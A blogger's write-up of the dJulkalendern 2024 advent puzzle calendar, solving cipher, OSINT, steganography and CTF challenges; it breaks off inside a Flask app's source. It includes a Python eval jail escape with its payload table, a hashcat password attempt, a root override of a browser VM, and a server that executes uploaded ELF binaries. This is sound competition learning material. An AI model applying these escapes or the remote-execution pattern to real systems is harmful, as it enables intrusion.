dJulkalendern 2024 Write-up
Introduction
December 2024 means another year of dJulkalendern. Similar to last year, a new challenge is released each workday at 12:15 CET.
- The solution is always a single English word, case-insensitive.
- Each friday is a Multi-user dungeon (MUD) challenge.
- Cooperation is forbidden until 14:00 CET the same day.
Day -1: Ready?
This window, Window -1, is a practice window of sorts. It does not count toward the final score. The solution is the 17th word in the fifth paragraph (sadly enough 1-indexed) Lore Page.
Navigating to the lore section shows the following text
1
2
3
4
5
Protect Our Workshop Workers! Santa stands up for our elves and
all those who make the magic happen. He knows that happy workers
create happy holidays! With Santa as our leader, we'll ensure fair
wages, safe working conditions, and a supportive environment for
everyone in our North Pole family.
The flag thus being magic
.
Day 2: Just a Småstad duck
The first challenge gives us a set of characters on an image similar to an inkblot/Rorschach test. The image is shown below.
Reading from left to right, we can make out the characters Y
, S
, J
, D
, S
, F
, V
.
The text describes.
“Hmm, not quite. Try to look at it from a different perspective. Get to the root of it.”
root being a big red-herring here, and has nothing to do with getting the square- or cube-root from Charcode/Unicode/A1Z26 values. It has an o
extra. The solution is to ROT.
We employ CyberChef’s ROT13 Operation with the amount 8
to get.
The flag thus being garland
.
Day 3: Huffing up the heat
Today we are given an image depicting a Christmas tree with lights and instructions.
- ⬅️⬅️➡️⬅️➡️⬅️➡️➡️⬅️⬅️
- ⬅️➡️➡️
- ⬅️⬅️➡️➡️➡️➡️➡️⬅️➡️⬅️⬅️⬅️⬅️⬅️
- ⬅️➡️➡️
- ⬅️⬅️⬅️➡️➡️➡️⬅️
- ⬅️➡️➡️
- ➡️⬅️➡️➡️➡️➡️⬅️➡️⬅️➡️➡️⬅️➡️⬅️⬅️➡️➡️⬅️➡️⬅️➡️➡️➡️➡️➡️⬅️⬅️
The title of the window, Huffing up the heat, is a hint to the solution: Huffman coding.
If we start from the top, and choose each left/right edge according to the instructions, we get the following sequence.
THE
_
WORD
_
IS
_
HORSESHOE
The flag thus being horseshoe
.
Day 4: Debatable communication?
The fourth window gives us a long piece of text.
1
2
3
4
5
6
7
8
9
10
11
12
“Beep Boop Boop Boop, if you could describe yourself in one word, what word would that be?” the Moderator-3000-v.2.4 starts off by asking Rudolf.
“*Reindeer Noise*” Rudolf bellows out, followed quickly by more reindeer noises from certain parts of the crowd together with hooves hitting the ground at a rapid pace.
“Boop Boop Beep, with global warming being such a hot topic, how do you suggest we start tackling this problem?” the Moderator-3000-v.2.4 continues by asking Gävlebocken.
“The answer lies in the name. It’s global WARMING, and what is warm, well fire of course. The only solution is better fire safety and regulations” Gävlebocken says while frantically looking around the room for potential Volvos or mysterious german-speaking men.
“Beep Boop Beep Boop, if there is one thing you can change about our wonderful North Pole, what would that be?” the Moderator-3000-v.2.4 asks Frostbyte.
“Oh, that’s an easy one Mr. Moderator-3000-v.2.4 ma’am. No one really likes the cold, so having summer all year round will boost the morale of all North Pole residents. And as an extra, the property prices will increase for our benefit. All we need to sell beach houses at that point is a beach!” Frostbyte answers while sipping on a Piña Colada.
“Beep Boop Beep, now that you have departed from your club of penguins, how will you take that experience into your political stance?” the Moderator-3000-v.2.4 follows up by asking Captain Ada Seafoss.
“With wood, hooks and cloth I will turn our present making process into its next chapter by open sourcing the creation process. I always ‘C’ our children with great joy, as they ‘R’ our future.” Ada answers with a crispy voice.
“Boop?” the Moderator-3000-v.2.4 asks in a highly compressed manner.
“That’s right! I’ll make it better!” XR0304B almost manages to answer before the studio is filled with the sound of cheers and applause. You look around and notice that the noise is more than the audience should be able to accomplish, suspecting that there might be speakers hidden somewhere.
“Beep, you have ruled over the North Pole for a long time Santa, but do you listen to your populace? What is the message I’ve been trying to tell you?” Moderator-3000-v.2.4 asks the final candidate in a slightly menacing voice.
“Objection your…moderator? This is not a fair question to…” dAnkan objects before being wrestled down by security. Before being dragged completely out of the studio, dAnkan manages to throw you an earpiece through which you can communicate with Santa. “Uh, ehh… Well – ho ho ho –, of course I listen! I hear all the wishes of all the children all around the world! You were saying…”
The Beeps and Boops stand out. Probably Morse code, as there is a hint in the text.
You think through the debate as it has elapsed, going over it all again. As the seconds pass by, you hear the audience grow restless and shout insults without remorse, and the stress of Santa’s political campaign makes you nervous, and you don’t work well when you’re nervous. But you take a breath, and try to figure it out.
With morse in remorse being cursive.
To check if this is the answer, we extract all Beeps and Boops, convert the first character to lowercase, trim any whitespace, and replace the Beep and Boop with .
and -
or -
and .
.
Index | Trimmed sequence | (boop = . , beep = - ) | From Morse | (boop = - , beep = . ) | From Morse |
---|---|---|---|---|---|
1 | beepboopboopboop | -... | B | .--- | J |
2 | boopboopbeep | ..- | U | --. | G |
3 | beepboopbeepboop | -.-. | C | .-.- | blank |
4 | beepboopbeep | -.- | K | .-. | R |
5 | boop | . | E | - | T |
6 | beep | - | T | . | E |
All of this can be done using the Regex
, Find / Replace
and From MorseCode
operations in a recipe on CyberChef
The CyberChef link above includes the recipe in the URL, so you can click it to see the solution.
The flag thus being bucket
.
Day 5: Order in the campaign
Today window gives us an image depicting a state-machine. If the text is to be believed, it is a Mealy machine.
Without reading too much into the rules. With no input provided, the solution was to follow the (shortest) path [0,1,2,3,..]
towards the END that forms a word.
1
START -> c,0 -> h,1 -> i,2 -> m,3 -> n,4 -> e,5 -> y,6 -> END
The flag thus being chimney
.
Day 6: The journalistic hivemind
The first friday of december! This means it is a MUD challenge. After connecting with netcat, we are presented with a text-based adventure game. The goal is to find your way to the exit by navigating with the commands n
, s
, e
, w
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
::::::::: ::::::::::: ::: ::: ::: :::: :::: ::: ::: :::::::::
:+: :+: :+: :+: :+: :+: +:+:+: :+:+:+ :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#+ +#+ +:+ +#+ +#+ +:+ +#+ +#+ +:+ +#+ +:+
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
######### ##### ######## ########## ### ### ######## #########
Use <help> to list available commands
Use <help command> to get info about <command>
You can use <interact object> to interact with objects surrounded by *asterisks*
Floor 1
1
2
3
4
5
6
7
8
9
10
you are in the starting room of floor 2.
Use <map> to see the map.
If you are stuck, use <restartfloor> to reset all
journalists and beehives.
To the north: BEEHIVE ROOM
To the south: room
To the west: room
With the map being
1
2
3
4
5
6
7
8
9
10
11
12
13
#####
# B##
# @##
##JE#
#####
Legend:
@ marks your current position
E marks the exit
# marks a wall
J marks a journalist
B marks a beehive
! marks the buzzing beehive
After we go north
and interact
with the beehive
, we get the following message.
1
2
3
4
You slap the beehive and insult their mums.
The bees have been enraged and the journalists are drawn to the latest buzz.
The journalists move 1 step for each step you take!!!!.
This means that J
moves towards the beehive for each step we take. The solution is to move towards the exit while avoiding the journalists. We do this by going around the path the journalist takes.
go west
go south
go east
go south
go east
We found the exit, which brings us to the next floor.
Floor 2
Floor 2 is a bit more complex, with a larger map.
1
2
3
4
5
6
7
###############
## #B#
# #J ## # #
# # # B# # #
# # #### ###
#@# B#B # JE#
###############
I won’t write out the entire path, but the solution is to go towards the first bee-hive to the right of the starting position, interact with it, and avoid all the journalists.
1
2
3
4
5
6
7
###############
## #B#
# # ## # #
# #J # B#J# #
# # @#### ###
# # !#B # E#
###############
Here you can choose to go south or take a 50/50 chance on what the journalist’s pathfinding algorithm will do by going north
or west
. Meanwhile, the other journalist is also incoming. After avoiding the first, you can just move back and forth until the path to the exit is clear.
1
2
3
4
5
6
7
8
9
10
11
---------------------------------------
YOU FOUND THE EXIT
You have now conquered the reporters and escaped the press conference.
The word is garlic.
██████╗ █████╗ ██████╗ ██╗ ██╗ █████╗
██╔════╝ ██╔══██╗██╔══██╗██║ ██║██╔══██╗
██║ ██╗ ███████║██████╔╝██║ ██║██║ ╚═╝
██║ ╚██╗██╔══██║██╔══██╗██║ ██║██║ ██╗
╚██████╔╝██║ ██║██║ ██║███████╗██║╚█████╔╝
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚════╝
The flag thus being garlic
.
Day 9: Speak ‘friend’ and enter
This window gives us the following string.
1
juy67gdi qep5uixdg8 kif78ctwdh qep5yixdg8 5678fdx pukxbhg76 xdg8ctr0lsz
With the window’s description referring to the name Antonín multiple times.
This first name stand out because of the Latin I with acute character. Googling the name, we find the most noteworthy person with this name to be Antonín Dvořák. This last name is a step further towards a solution. Dvorak is a keyboard layout, made by August Dvorak.
After trying a Keyboard Shift Cipher with the Dvorak layout, I didn’t get any further.
Eventually, I found out that the solution was to
- Get an image of a Dvorak keyboard layout
- Split the string on space into substrings
- Use each substring as a set of coordinates to “trace” or “draw” shapes on the layout.
- Each shape reveals a character corresponding to the flag.
What I didn’t expect, is that there is no online tool to do this easily. I couldn’t find a “Visual Keyboard Cipher” or “Keyboard Shape Cipher” tool online.
While I solved the challenge by drawing on a screenshot with KDE’s Spectacle, we can also use a character based approach for this writeup (although it’s kind of finicky).
juy67gdi
1 2 3 4
` 1 2 3 4 5 [6][7] 8 9 0 [ ] " , . P [Y] F [G] C R L / = A O E [U][I][D] H T N S - ; Q [J] K X B M W V Z
Which gives
p
.qep5uixdg8
1 2 3 4
` 1 2 3 4 [5] 6 7 [8] 9 0 [ ] " , . [P] Y F [G] C R L / = A O [E][U][I][D] H T N S - ; [Q] J K [X] B M W V Z
Which gives
h
.kif78ctwdh
1 2 3 4
` 1 2 3 4 5 6 [7][8] 9 0 [ ] " , . P Y [F] G [C] R L / = A O E U [I][D][H][T] N S - ; Q J [K] X B M [W] V Z
Which gives
a
.qep5yixdg8
1 2 3 4
` 1 2 3 4 [5] 6 7 [8] 9 0 [ ] " , . [P][Y] F [G] C R L / = A O [E] U [I][D] H T N S - ; [Q] J K [X] B M W V Z
Which gives
n
.5678fdx
1 2 3 4
` 1 2 3 4 [5][6][7][8] 9 0 [ ] " , . P Y [F] G C R L / = A O E U I [D] H T N S - ; Q J K [X] B M W V Z
Which gives
t
.pukxbhg76
1 2 3 4
` 1 2 3 4 5 [6][7] 8 9 0 [ ] " , . [P] Y F [G] C R L / = A O E [U] I D [H] T N S - ; Q J [K][X][B] M W V Z
Which gives
o
.xdg8ctr0lsz
1 2 3 4
` 1 2 3 4 5 6 7 [8] 9 [0] [ ] " , . P Y F [G][C][R][L] / = A O E U I [D] H [T] N [S] - ; Q J K [X] B M W V [Z]
Which gives
m
.
The flag thus being phantom
.
Day 10: Oh deer…
This window gives us a file called newspaper.3dsx
. After looking up what a .3dsx
file is, we find out that it is a homebrew application for the Nintendo 3DS.
This means we probably need an emulator to run the file. A quick search reveals that Citra is a popular open-source 3DS emulator.
I got the emulator through yay
from the Arch Linux User Repository: citra-appimage
1
yay -S citra-appimage
Pro-tip: If it’s about speed, always query your remotes in your package manager. I only checked
citra-bin
, notcitra-appimage
. I thus have to admit I also wasted time by compiling it from source first using citra, before realizing that there was a precompiled version available and subsequently cancelling.
Running citra ./newspaper.3dsx
in the terminal, an emulator window opens, and we are presented with a game.
The game is a 2D maze-like puzzle where your cursor clicking on the arrow keys moves the #
character in the middle. By traversing to different rooms, the 0
number adds up.
A paragraph in the text gives us a hint.
“I remember!” yells dAnkan, throwing some citrus peels on their game console. “This is Santa’s stables! The reindeers have some particular architectural preferences: dislike old greek traditions like columns and such. Last I remember, Rudolf had room number 14. Let’s load this newspaper into Antonín’s old trusty LemonTM computer to figure out some more.”
We need to find a way to find a sequence to get to room 14. The solution is to traverse the maze in the following order: East -> North -> West.
Giving us the flag candycanes
.
Day 11: Don’t let that sink in
A paragraph in the text gives us the first pointer.
“Someone has broken into my account, changed my posts, made me follow some weird accounts. If I could reply to them now I would disgrace the good name of Santa, so I’ll make myself scarce. You got this! Find the trails these evil birds left and make them pay!” dAnkan yells before slamming the door shut and going for an angry walk. You sit there in front of the LemonTM computer, your orders clear, but you realize something worrying. You don’t even know the name of dAnkan’s account.
This hints towards the fact that this window is completely focused on OSINT (Open Source Intelligence). Especially when we look at the image.
With the image depicting X crossing out a bird (i.e. formerly Twitter).
The solution is to search for dAnkan
on X. We eventually find an account dAnkan_helper.
One account that dAnkan follows is what3words. what3words is a geocoding system that divides the world into 3m x 3m squares, each with a unique 3-word address. It is similar to a Geohash or the Maidenhead Locator System, just more user-friendly.
This means we have to find 3 words somewhere. If we head to some of dAnkan’s replies, we find three replies that stand out.
It’s great to give toys to children all over the world, but let’s be honest - I wouldn’t mind if Santa brought me one or two or more nice things that make me s m i l e too! #SantaBetterDeliver #IWantPresents #Christmas
Now, e v e r y b o d y can experience what it’s like to have my skills and really feel what it’s like to be a detective.🕵️♂️🔍 #dAnkanDetective #Investigations #SmartDuck
Christmas is the best because it’s all about me b e i n g spoiled with good food, gifts, and cozy vibes.🎄🎁🎅 #Santa #Christmas #GiftsForMe
I added the bolding on the words myself for readability/emphasis.
The words thus being smile
, everybody
, and being
.
We now have to try to find the right order. We have \(3! = 3 \times 2 \times 1 = 6\) possible combinations.
The order https://what3words.com/being.everybody.smile bring us to the peak of one of the pyramids of giza, a wonder of the world.
The flag thus being pyramid
.
Day 12: A cluttered mind leads to a cluttered box
This window gives us a file called wrapped_package.zip
. After unzipping the file with unzip
, we get another zip called package.zip
.
Part 1: Getting the rar-archive’s password
If we list the contents of this file with unzip -l package.zip
, we get the following output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unzip -l package.zip
Archive: package.zip
Length Date Time Name
--------- ---------- ----- ----
41 2024-12-24 12:15 cards.dek
66 2015-12-24 12:15 code.hs
75 2023-12-24 12:15 dJulkalendern.erl
41086 2021-12-24 12:15 image.ico
52 2016-12-24 12:15 macro.ahk
281 2020-12-24 12:15 notes.nbs
1085 2019-12-24 12:15 object.o
1461775 2017-12-24 12:15 SECRETS.rar
9480 2018-12-24 12:15 sound.mp3
--------- -------
1513941 9 files
The contents of the file all refer to some kind of programming language.
code.hs
is a Haskell file.dJulkalendern.erl
is an Erlang file.object.o
is an object file, probably from C or C++.macro.ahk
is an AutoHotKey file.notes.nbs
is a file from the Minecraft Note Block Studio.image.ico
is an icon file.sound.mp3
is an audio file.cards.dek
is a deck file, from Magic: The Gathering.While it was fun to look at the contents (all showing or printing the character ‘D’, or having morse code for ‘D’), they didn’t have any bearing on the solution.
If we list the contents of the SECRETS.rar
file, we get the following output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ unrar l SECRETS.rar
UNRAR 7.10 beta 2 freeware Copyright (c) 1993-2024 Alexander Roshal
Archive: SECRETS.rar
Details: RAR 5
Attributes Size Date Time Name
----------- --------- ---------- ----- ----
* ..A.... 10020 2024-12-13 12:15 blocks.txt
* ..A.... 718 2024-12-11 16:54 CHALLENGE.txt
* ..A.... 1555633 2024-12-13 12:15 poster.png
----------- --------- ---------- ----- ----
1566371 3
However, we find that the files within SECRETS.rar
are password-protected.
Wasted time: Timeboxed, I tried to brute-force the password using
rar2john
->hashcat
withrockyou.txt
and an english dictionary. Spoiler alert: Didn’t work out. The password was not in the dictionaries.
The following paragraph in the text gives us a hint.
“Hmm… That might work, but we’ll have to be careful of the details here. Make sure we do things in the right order, and heed any signs within it.”
“But what about those extensions?” you ask, pointing to some weird protrusions on the package.
“Eh, they might be important. We could look at the start of them to begin with, but I bet this thing has more layers than we expect,” answers dAnkan while carefully taking the package off the wall.
This hints towards the first character of the file extensions.
1
d h e i a n o r m
You also, apparently, had to make the logical leap that the first character from package.zip
must be included.
1
z d h e i a n o r m
I personally used an anagram solver to find the word harmonized
, but the correct way was to sort the characters by the corresponding file’s Modified Date. I was at the office and did this part on Windows initially. It may have overwitten the Modified Date.
1
2
3
4
5
6
7
8
9
10
11
12
13
Length SortedDate Time Name Extension[0]
--------- ---------- ----- ---- ------------
66 2015-12-24 12:15 code.hs h
52 2016-12-24 12:15 macro.ahk a
1461775 2017-12-24 12:15 SECRETS.rar r
9480 2018-12-24 12:15 sound.mp3 m
1085 2019-12-24 12:15 object.o o
281 2020-12-24 12:15 notes.nbs n
41086 2021-12-24 12:15 image.ico i
1471323 2022-12-24 12:15 package.zip z
75 2023-12-24 12:15 dJulkalendern.erl e
41 2024-12-24 12:15 cards.dek d
--------- -------
The password for the SECRETS.rar
file thus being harmonized
.
Part 2: Extracting the contents of the rar-archive, and finding the flag
If we extract the contents of the SECRETS.rar
file with unrar x SECRETS.rar
, we find that all files have the same password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ unrar e SECRETS.rar
UNRAR 7.10 beta 2 freeware Copyright (c) 1993-2024 Alexander Roshal
Extracting from SECRETS.rar
Enter password (will not be echoed) for blocks.txt:
Extracting blocks.txt OK
CHALLENGE.txt - use current password? [Y]es, [N]o, [A]ll Y
Extracting CHALLENGE.txt OK
poster.png - use current password? [Y]es, [N]o, [A]ll Y
Extracting poster.png OK
All OK
If we cat
the contents of the CHALLENGE.txt
file, we get the following text.
Hello dAnkan. I want to play a game. I want Santa to drop out of the race. That would be a good game I think. But it would be too simple, so I supply you with two other games as well. For the first one, you notice that I have stolen your dear Santa poster. Not only that, but I have also changed it in a not-so-significant way. Cracking my stew should be a bit satisfying. Now, should you do this, I will be content. However, I also have a second game which it would bemuse me for you to solve. I have expanded my secret so that you can no longer see it. Each line of eight blocks has been made longer, but how? I’ve given you all the blocks you need, dAnkan, now it is up to you to slice them to the same length.
The hint in the text is the phrase not-so-significant way. This hints towards the poster.png
file being altered with Least Significant Bit (LSB) steganography. LSB is a technique used to hide information in an image by replacing the least significant bit of each pixel with the data to be hidden.
The image is shown below.
If we extract the LSB from the image using CyberChef’s Extract LSB operation using RGB
, we get a 3252440
long string of text that starts with 64037a31cae3aa224737c3dcdfb7bd46
.
This looks like a hash. If we try to crack it using CrackStation, we get the following result.
Hash | Type | Result |
---|---|---|
64037a31cae3aa224737c3dcdfb7bd46 | md5 | variation |
The flag thus being variation
.
Bonus: blocks.txt
Another way to solve the challenge is to look at the blocks.txt
file. The text file contained a series of 1
s and 0
s, with each line having a different length.
The hints are in the text.
I have expanded my secret so that you can no longer see it. Each line of eight blocks has been made longer, but how? I’ve given you all the blocks you need, dAnkan, now it is up to you to slice them to the same length.
The solution was to “decode” the data by skipping characters based on the length of each line.
First, calculate the skip interval for each line based on the length of the line.
\[\text{delta} = \left\lfloor \frac{\text{len(line)}}{8} \right\rfloor\]For each line, this tells you how frequently to pick characters: every
delta
-th character.After skipping the characters, the remaining
1
s were replaced with a block character (e.g.,#
), and the0
s were replaced with a space or dot (e.g.,.
) for readability. This would then printvariation
vertically.
Day 13: Achoo-coresick
Another friday, another MUD. After connecting with netcat, we are presented with a list of characters we can go to.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
To the a: a
To the b: b
To the c: c
To the d: d
To the e: e
To the f: f
To the h: h
To the i: i
To the k: k
To the l: l
To the m: m
To the n: n
To the o: o
To the p: p
To the q: q
To the r: r
To the s: s
To the t: t
To the u: u
To the v: v
To the w: w
To the suffix: root
While the text mentions
Walking over to the LemonTM computer, moving a couple microphones and a webcam out of the way you pour some of the proverheadphonestatemplatestimony into the USB slot to load it into an analyzer program, and look through it stringently.
When we type go p
, we get the following output.
1
2
3
4
5
To the a: pa
To the e: pe
To the i: pi
To the o: po
To the suffix: root
This means that, by traversing the tree, we get a set of words starting with those characters.
I first tried to search words in proverheadphonestatemplatestimony
, checking if there are any available in the tree. That was a starting point for more clues. When I hit nest
after headphones
, I got the following.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
---------------------------------------
You are on the word nest!!!!
YOU FOUND THE SECRET PASSWROD!!!!
THE WORD IS "aspect"
█████╗ ██████╗██████╗ ███████╗ █████╗ ████████╗
██╔══██╗██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝
███████║╚█████╗ ██████╔╝█████╗ ██║ ╚═╝ ██║
██╔══██║ ╚═══██╗██╔═══╝ ██╔══╝ ██║ ██╗ ██║
██║ ██║██████╔╝██║ ███████╗╚█████╔╝ ██║
╚═╝ ╚═╝╚═════╝ ╚═╝ ╚══════╝ ╚════╝ ╚═╝
To the suffix: st
However, I didn’t exactly know why I got it.
After getting the answer I got access to the Discord channel with other people that solved it. Here, Aho-Corasick algorithm was mentioned. This algorithm is a string-searching algorithm that constructs a finite state machine from a set of patterns.
To follow this algorithm, we had to repeat the following sequence:
- Follow the string from left-to-right
go
to the next character- If it’s not available,
go
back to thesuffix
.
The flag thus being aspect
.
Day 16: Freedom of (math) expression
Today’s window we are given a netcat link.
1
Welcome to VotingMachineKernel (VMK) Moderator-3000 v2.4.0-riscv72 SMP PREEMPT_DYNAMIC v2.4 Mon 16 dec 11:14:59 UTC 2024 GANOO/VMK (write help for help)
After giving the command help
, we get the following output.
1
2
3
4
5
help
blud needs help 💀💀, ok.
source command gives source!
Сигма Сигма Бой Сигма Бой Сигма Бой!!!!
Каждая девчонка хочет танцевать с тобой!!!!!
Where Сигма Сигма Бой Сигма Бой Сигма Бой!!!!
is a reference to the song Sigma Boy
We get the following source code when typing source
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from sigmaboy import secret
import secrets
import string
password = "".join(
secrets.choice(string.ascii_letters + string.digits) for _ in range(11)
)
blacklist = "0123456789()/-$\"'{}_*`."
print("Welcome to VotingMachineKernel (VMK) Moderator-3000 v2.4.0-riscv72 SMP PREEMPT_DYNAMIC v2.4 Mon 16 dec 11:14:59 UTC 2024 GANOO/VMK (write help for help)")
while True:
inp = input("-> ")
if inp == "help":
print(
"blud needs help 💀💀, ok.\nsource command gives source!\nСигма Сигма Бой Сигма Бой Сигма Бой!!!!\nКаждая девчонка хочет танцевать с тобой!!!!!"
)
continue
if inp.split()[0] == "auth":
if len(inp.split()) != 2:
print("blud is confused 🤯 usage: auth <password>")
continue
if inp.split()[1] == password:
print(
f"blud is authenticated 🥙🥙🥙. note to self: the most Сигма word in the world is {secret}"
)
else:
print("blud is not authenticated 🍔🍔🍔 WRONG PASSWORD not very Сигма")
continue
if inp == "source":
print(open(__file__, "r").read())
continue
if inp == "exit":
print("blud gave up 🤡, connection closed")
break
if len(inp) > 30:
print("blud is too wordy 🤓")
continue
if any(c in inp for c in blacklist):
print("blud types scari stuff 🍻")
continue
## im to lazy to implement all commands so i'll just let python handle the rest
try:
output = str(eval(inp, {"__builtins__": {}, "password": password}))
print(output[0])
except:
print("blud types invalid stuff 👽")
We learn from the code that
- The password is generated by the
secrets
module, and thesecret
is imported from thesigmaboy
module. - The line
if inp.split()[1] == password:
tells us that we need to use theauth
command with thesecret
- The
blacklist
variable tells us that we can’t use the characters0123456789()/-$"'{}_*\
- The
eval
function is used to evaluate the input, and the output is printed. eval
will only print the first character of the output.- Anything that is not a command will be fed into the
eval
function. - We cannot use more than
30
characters in a command.
So the first thing we try is password
, obviously, to get the first character of the password.
1
2
-> password
w
Knowing that we can only get one character at a time and with the limitation of the blacklist, is there a way we can get the next character? Does Python have other means to write password[1]
?
Searching for restricted character set posts in Python on codegolf.stackexchange.com gave us the following post: https://codegolf.stackexchange.com/a/209735
- Since
True
evaluates to1
andFalse
evaluates to0
, we can use the following commands to get the next character, until we hit the30
-character limit. - We can use
:
to slice the string, and+
to concatenate strings. - The
blacklist
doesn’t contain+
or:
, or bitwise operators like&
,|
,^
,~
,<<
,>>
, or**
.- We can use
<<
to shift bits to the left, and|
to do a bitwise OR operation to get our desired digit. - We can use
~
to do bitwise NOT operation, evaluating~True
to-2
and~False
to-1
.
- We can use
index | command | length | output |
---|---|---|---|
0 | password | 8 | w |
1 | password[True] | 14 | A |
2 | password[True+True] | 19 | j |
3 | password[True+True+True] | 24 | z |
4 | password[True+True+True+True] | 29 | o |
5 | password[True+True«True|True] | 30 | o |
6 | password[True+True+True<<True] | 30 | I |
7 | password[~True<<True] | 21 | U |
8 | password[~True«True|True] | 26 | p |
9 | password[~True] | 15 | L |
10 | password[~False] | 16 | b |
The password is generated on every netcat connection, so the password will be different every time.
Giving the full output wAjzooIUpLb
to the auth
command outputs the following.
1
2
auth wAjzooIUpLb
blud is authenticated 🥙🥙🥙. note to self: the most Сигма word in the world is nutcracker
The flag thus being nutcracker
.
Day 17: You ‘R a Pirate Harry
This window links us to a https://rb.djul.se/, which is hosting a JS Linux terminal
While the text mentions
“Nono, I found these weird files. It’s difficult to see exactly what it is right here, it would be easier if I could download it or something, the emulator on the Moderator-3000-v.2.4 is quite ancient. But I’m sure there are some secrets here that I can extract, and then some secret within that secret which I need to find somehow, otherwise why would they hide it under ‘Political leverage’. Gimme a sec, or fifteen minutes, while I try and figure this out!” you tell dAnkan while typing away into the terminal.
If we do ls
, we find message.txt
. With cat message.txt
, we get the following output.
1
2
you may need to think (or look) outside the box for this one
ps: everything is running solely in your browser, use that to your advantage ;)
We see the following files downloaded when we visit the page
Especially root-riscv64.cfg
is interesting
1
2
3
4
5
6
7
8
9
10
11
12
/* VM configuration file */
{
version: 1,
machine: "riscv64",
memory_size: 128,
bios: "bbl64.bin",
kernel: "kernel-riscv64.bin",
cmdline: "console=hvc0 root=/dev/vda rw init=/bin/su - djul",
/* drive0: { file: "root-riscv64.ext2" }, whole filesystem, not used rn */
drive0: { file: "root-riscv64/blk.txt" }, /* chunked filesystem for performance */
eth0: { driver: "user" },
}
The commented out line drive0: { file: "root-riscv64.ext2" }, whole filesystem, not used rn
hints that we should look at acquiring this file by straight up downloading it. If we navigate to https://rb.djul.se/root-riscv64.ext2, we get the ext2
file and can mount the filesystem.
1
2
3
$ sudo mkdir /mnt/ext2fs
$ sudo mount -o loop root-riscv64.ext2 /mnt/ext2fs
$ cd /mnt/ext2fs
From here we can look at every file as root locally, or change permissions using sudo chmod u+r <file>
.
After some digging, the file named secret
in root
looks interesting. If we run file secret
, we get the following output.
1
secret: ELF 64-bit LSB executable, UCB RISC-V, RVC, double-float ABI, version 1 (SYSV), statically linked, for GNU/Linux 4.15.0, stripped
This means that the file is an executable file for a RISC-V architecture (similar to the JS Linux terminal we are using). We have two strategies
- Run it locally using a RISC-V emulator
- Gain superuser access on the JS Linux terminal and run it there
Without knowing how to gain superuser access, we can try to run it locally. We can use qemu
to run the file.
sudo pacman -S qemu qemu-user qemu-user-static
Run the file with
qemu-riscv64 ./secret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
___ /` `'. / _..---; | /__..._/ .--.-. |.' e e | ___\_|/____ (_)'--.o.--| | | | .-( `-' = `-|____| |____| / ( |____ ____| | ( |_ | | __| | '-.--';/'/__ | | ( `| | '. \ );--`\ / \ ; |--' `;.-' |`-.__ ..-'--'`;..--'` Ho ho ho! Would you like a present, my friend? (y/n) > y Ho ho ho! But first, you have to tell me the secret word! Secret word >
Darn, we need to find the secret word. Can we find it in the file using
strings
?strings ./secret > out.txt && code out.txt
- Searched for
secret
in VS Code. Found the following excerpt.1 2 3 4 5 6 7 8 9 10
Ho ho ho! Would you like a present, my friend? (y/n) > Oh, what a pity! Ho ho ho! But first, you have to tell me the secret word! Secret word > %99s gobbledygook Ho ho ho, close one! Ho ho ho! You got the word, but you wont get any presents until christmas! ;)
After trying
gobbledygook
when running the file withqemu-riscv64 ./secret
, we get the following output.1 2 3 4 5 6
Ho ho ho! Would you like a present, my friend? (y/n) > y Ho ho ho! But first, you have to tell me the secret word! Secret word > gobbledygook Ho ho ho! You got the word, but you wont get any presents until christmas! ;)
The flag itself thus being gobbledygook
.
Bonus: Gaining superuser access on the JS Linux terminal
What about the other option of gaining superuser access on the JS Linux terminal?
If we look at the root-riscv64.cfg
file, we see that the init
command is /bin/su - djul
. If we can somehow override this and execute /bin/su - root
, we can gain superuser access.
This can be done using Chrome’s Developer Tools.
- Open the Developer Tools by pressing
F12
. - Go to the network tab where the file
root-riscv64.cfg
is loaded. - Right-click on the file and select ‘Override content’.
- Change the
init
command to/bin/su - root
. - Save the changes with
Ctrl + S
- Reload the page.
Now you can run the secret file as root in the JS Linux terminal. However, finding the flag with strings
will be a bit more tedious/slower when emulated.
Day 18: Giving gifts and paying loads
Today we are given a file called server-dist.tar.gz
and a link https://cparta.djul.se/ that displays a twitter-like shared feed.
Everything we post is visible to everyone. Some input testing also revealed that the message cannot exceed 280 characters.
If we extract the tarball with tar -xvf server-dist.tar.gz
, we get the following files.
1
2
3
4
5
6
7
8
9
server/app.py
server/docker-compose.yml
server/Dockerfile
server/flag
server/requirements.txt
server/static/
server/static/style.css
server/templates/
server/templates/index.html
Where, app.py is the main server Flask server file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from flask import Flask, render_template, request
from tempfile import NamedTemporaryFile
import base64
import os
import sys
import time
import subprocess
app = Flask(__name__)
messages = [
"Welcome to Y! Your personal echo chamber."
]
def execute_c2(message):
try:
message = base64.b64decode(message)
except:
return False
if not message.startswith(b"\x7fELF"):
return False # Unrelated tweet
elf = NamedTemporaryFile(delete=False)
with open(elf.name, 'wb') as f:
f.write(message)
elf.file.close()
os.chmod(elf.name, 0o777)
subprocess.run(elf.name)
return True
@app.route('/', methods=['GET', 'POST'])
def home():
if request.method == 'GET':
return render_template('index.html', messages=messages)
error=""
new_message = request.form.get('message')
if new_message and len(new_message) <= 280:
if not execute_c2(new_message):
messages.append(new_message)
elif len(new_message) > 280:
error="Message exceeds 280 characters"
else:
error="Please provide a message."
if len(messages) > 20:
messages.pop(0)
return render_template('index.html', messages=messages, error=error)
if __name__ == '__main__':
